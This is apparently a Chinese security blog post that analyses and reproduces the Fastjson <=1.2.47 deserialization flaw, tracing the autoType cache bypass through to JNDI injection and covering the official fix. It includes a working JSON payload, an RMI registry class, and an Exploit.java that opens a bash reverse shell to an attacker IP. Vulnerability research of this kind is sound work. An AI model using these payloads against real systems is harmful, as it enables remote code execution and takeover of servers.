天天看點

fastjson反序列化過濾字段屬性_Fastjson<=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

簡介

fastjson 是由阿裡開發的一種 json 的解析器和生成器。在 2019 年 6 月 26 日,使用者提出 issue [1],存在遠端代碼執行的版本 <=1.2.47。

環境準備

  • jdk 1.6.0.65
  • fastjson 1.2.47

Let's Hack

POC

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
           

複現采用 jndi 利用方式,建議先閱讀us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE[2] ,了解 jndi 注入。

RMIRegistry.java

package deserialize;import com.sun.jndi.rmi.registry.ReferenceWrapper;import javax.naming.Reference;import java.rmi.registry.LocateRegistry;import java.rmi.registry.Registry;public class RMIRegistry {   public static void main(String[] args) throws Exception {       Registry registry = LocateRegistry.createRegistry(1099);       Reference reference = new Reference("Exploit",               "Exploit","http://localhost/");//這裡請求的localhost 80端口的Exploit對象       ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);       registry.bind("Exploit",referenceWrapper);   }}
           

Exploit.java

import javax.naming.Context;import javax.naming.Name;import javax.naming.spi.ObjectFactory;import java.io.IOException;import java.util.Hashtable;public class Exploit implements ObjectFactory {    @Override    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable, ?> environment) {        exec();        return null;    }    private static void exec() {        try {            Runtime.getRuntime().exec("/bin/bash -c bash${IFS}-i${IFS}>&/dev/tcp/192.168.66.131/9999        } catch (IOException e) {            e.printStackTrace();        }    }    public static void main(String[] args) {        exec();    }}
           

POC.java

package deserialize;import com.alibaba.fastjson.JSON;public class POC {    public static void main(String[] argv) {        String payload = "{\"name\":{\"@type\":\"java.lang.Class\",\"val\":\"com.sun.rowset.JdbcRowSetImpl\"},\"x1001\":{\"@type\":\"com.sun.rowset.JdbcRowSetImpl\",\"dataSourceName\":\"rmi://localhost:1099/Exploit\",\"autoCommit\":true}}";        JSON.parse(payload);    }}
           
  1. 使用

    javac

    編譯

    Exploit.java

    ,得到的

    Exploit.class

    ,放入本地或其他伺服器(由于 rmi servicei 請求80端口,是以保證伺服器綁定在80端口)的根目錄。
  2. 運作 RMIRegistry.java。
  3. 攻擊機(192.168.66.13) 運作

    netcat -lvvp 9999

    監聽 9999 端口,運作 POC.java,如圖 3-1可以看到成功拿到 shell。
    fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測
    圖3-1

漏洞原理

Fastjson 中負責處理 parse 的一般是

DefaultJSONParser.parseObject

。fastjson 中将帶解析的資料用 JSONLexer 封裝。對如下解析的資料

{"name":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}}
           

從左向右解析。

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-1

在圖 4-1 中,當解析到

@type

時,進入

checkAutoType

,傳入的參數

typeName=java.lang.Class

,跟進checkAutoType方法。

public Class> checkAutoType(String typeName, Class> expectClass, int features) {        if (typeName == null) {            return null;        }				//省略部分代碼        if (clazz == null) {            clazz = TypeUtils.getClassFromMapping(typeName);//将typeName作為key從mappings(ConcurrentMap對象)中查找對象,這個相當于從cache取值,剛開始沒有存入對象,取出值為null        }        if (clazz == null) {            clazz = deserializers.findClass(typeName);// 将typeName作為key從deserializers(IdentityHashMap)中查找對象        }        if (clazz != null) {            if (expectClass != null                    && clazz != java.util.HashMap.class                    && !expectClass.isAssignableFrom(clazz)) {                throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());            }            return clazz;        }        if (!autoTypeSupport) {//判斷提取的對象hash值是否在denyHashCodes,也就是黑名單過濾            long hash = h3;            for (int i = 3; i < className.length(); ++i) {                char c = className.charAt(i);                hash ^= c;                hash *= PRIME;                if (Arrays.binarySearch(denyHashCodes, hash) >= 0) {                    throw new JSONException("autoType is not support. " + typeName);                }                if (Arrays.binarySearch(acceptHashCodes, hash) >= 0) {                    if (clazz == null) {                        clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);                    }                    if (expectClass != null && expectClass.isAssignableFrom(clazz)) {                        throw new JSONException("type not match. " + typeName + " -> " + expectClass.getName());                    }                    return clazz;                }            }        }        if (clazz == null) {            clazz = TypeUtils.loadClass(typeName, defaultClassLoader, false);        }        //省略部分代碼        return clazz;    }
           

TypeUtils.getClassFromMapping

方法,第一次沒有存入 cache 為 null,跟進

deserializers.findClass(typeName)

,可以看到該方法通過

keyString(這裡傳入的是java.lang.class)

比對

this.buckets

的 className,

this.buckets

存在

java.lang.class

,是以傳回

java.lang.class

public Class findClass(String keyString) {        for(int i = 0; i < this.buckets.length; ++i) {            IdentityHashMap.Entry bucket = this.buckets[i];            if (bucket != null) {                for(IdentityHashMap.Entry entry = bucket; entry != null; entry = entry.next) {                    Object key = bucket.key;                    if (key instanceof Class) {                        Class clazz = (Class)key;                        String className = clazz.getName();                        if (className.equals(keyString)) {                            return clazz;                        }                    }                }            }        }        return null;    }
           

回到

DefaultJSONParser.parseObject()

方法,繼續跟進,如下圖 4-2,通過

config.getDeserializer

獲得反序列化的路由類

MiscCodec

。并調用該路由類的

deserialze(this, clazz, fieldName)

方法,

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-2

跟進該方法中,如圖 4-3,主要調用

parser.parse()

方法提取到

com.sun.rowset.JdbcRowSetImpl

賦給objVal對象。

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-3

繼續往下走,如圖 4-4,調用

TypeUtils.loadClass

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-4

跟進

loadClass(String className, ClassLoader classLoader)

方法,如圖 4-5,

loadClass

調用該方法的重載方法,設定為true。

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-5

跟進

loadClass

的重載方法,将

com.sun.rowset.JdbcRowSetImpl

存入上文在

checkAutoType

中提到

mappings

中(即緩存中)。

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-6

至此第一部分解析完了,主要做的是将

com.sun.rowset.JdbcRowSetImpl

存入 mappings 中,接下來解析第二部分,讓我們回到

DefaultJSONParser.parseObject()

,解析的第二個鍵值對如下:

"x1001":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"rmi://localhost:1099/Exploit","autoCommit":true}
           

和第一個一樣,不同的是,此時的 typeName 為

com.sun.rowset.JdbcRowSetImpl

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-7

跟進

config.checkAutoType(String typeName, Class> expectClass, int features)

方法,如圖 4-8,由于第一次解析中将

com.sun.rowset.JdbcRowSetImpl

存入 mappings 中。如圖 4-9,這次直接通過

TypeUtils.getClassFromMapping(typeName);

擷取到 com.sun.rowset.JdbcRowSetImpl 對象。并傳回該對象。(同樣繞過 checkAutoType 中黑名單限制以及 autoType 開關的檢查)

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-8

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-9

和第一次一樣,如圖 4-10調用

deserializer.deserialze(this, clazz, fieldName)

,不同的是這次得到的反序列化路由類為

FastjsonASMDeserializer

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-10

跟進

deserialze(DefaultJSONParser parser, Type type,Object fieldName,Object object, int features, int[] setFlags)

,首先有一些 asm 操作,接着調用如

deserialze

方法,如圖 4-11。

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-11

setValue

中通過

method.invoke(object, value)

反射執行

com.sun.rowset.JdbcRowSetImpl.setAutoCommit

方法

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-12

跟進

setAutoCommit

中,如圖4-13調用

this.connect()

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-13

如圖4-14

this.connect()

對成員變量 dataSourceName 進行 lookup,成功利用 jndi 注入。

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

圖4-14 整個利用鍊:

Exec:620,Runtime //指令執行Lookup:417,InitalContext //jndi lookup函數通過rmi加載惡意類setAutoCommit:4067,JdbcRowSetImpl //通過setAutoCommit觸發lookup函數setValue:96,FieldDeserializer //反射調用傳入類的set函數deserialze:600, JavaBeanDeserializer //通過循環調用傳入類 set,get,is函數parseObject:368,DefaultJSONParser //解析傳入的json字元串
           

官方修複

官方在 1.2.48 版本更改以下代碼進行修複,推薦更新到最新版本。

  1. 黑名單修複,增加8409640769019589119(java.lang.Class)*1459860845934817624(java.net.InetAddress)*兩個類的黑名單。
    fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測
  2. MiscCodec.java 檔案對 cache 緩存設定成 false
    fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測
  3. ParserConfig.java 檔案對 checkAutoType()進行了相關政策調整.
    fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

漏洞檢測

采用一些三方元件自動化檢測工具,如安全玻璃盒 IAST 産品等,結果如下:

fastjson反序列化過濾字段屬性_Fastjson&amp;lt;=1.2.47反序列化漏洞源碼分析及複現簡介環境準備Let's Hack漏洞原理官方修複漏洞檢測

參考資料

[1]

issue: https://github.com/alibaba/fastjson/issues/2513

[2]

us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE: https://www.blackhat.com/docs/us-16/materials/us-16-Munoz-A-Journey-From-JNDI-LDAP-Manipulation-To-RCE.pdf